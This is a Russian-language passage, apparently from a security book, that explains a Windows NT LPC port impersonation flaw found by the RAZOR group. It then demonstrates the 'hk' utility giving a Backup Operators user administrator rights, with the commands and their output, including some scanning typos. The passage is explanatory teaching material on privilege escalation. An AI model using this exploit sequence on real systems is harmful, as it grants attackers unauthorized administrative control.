Такую возможность обнаружила группа исследователей RAZOR (http://razor. bindview.com) и предоставила авторам проверочный код, который, однако, не был открыт для широкого использования. В приведенном коде иллюстрируется изъян одной из функций интерфейса с портами LPC (Local Procedure Call — локальный вызов процедур), который позволяет потокам и процессам на локальном узле взаимодействовать друг с другом. Обычно порты LPC обеспечивают интерфейс между потоком сервера и клиентными потоками, которые генерируют запросы на использование служб. Кроме того, порты LPC выполняют проверку легитимности клиента. Однако взломщик, у которого имеется возможность создать оба потока, и сервера и клиента. может обойти такую проверку и связать клиентный поток с любым пользователем, даже имеющим привилегии SYSTEM.
Воспользуемся утилитой hk от группы RAZOR и добавим в группу администраторов пользователя mallory, входящего в состав группы Backup operators и имеющего разрешение на интерактивную регистрацию.
Во-первых, с помощью утилиты whoami из пакета NTRK убедимся, что пользователь mallory действительно принадлежит к группе Backup Operators, а не администраторов.
С:\>whoami
[Group 1] = "IIS47\None"
[Group 2] = "Everyone"
[Group 3] - "BUILTIN\Users"
[Group 4] = "BUILTINXBackup Operators"
C:\>net looalgroup administrators mallory /add
System error 5 has occurred.
Access is denied,
C:\>hk net localgroup administrators mallory /add
Isass pid & tid are: 47 - 48
NtlmpersonateClientOfPort succeeded
Launching line was: net localgroup
administrators mallory /add
Who do you want to be today?
C:\>net localgroup administrators
Alias name administrators
Comment Members can fully administer the computer/domain
Members
-------------------------
Administrator mallory
The command completed successfully.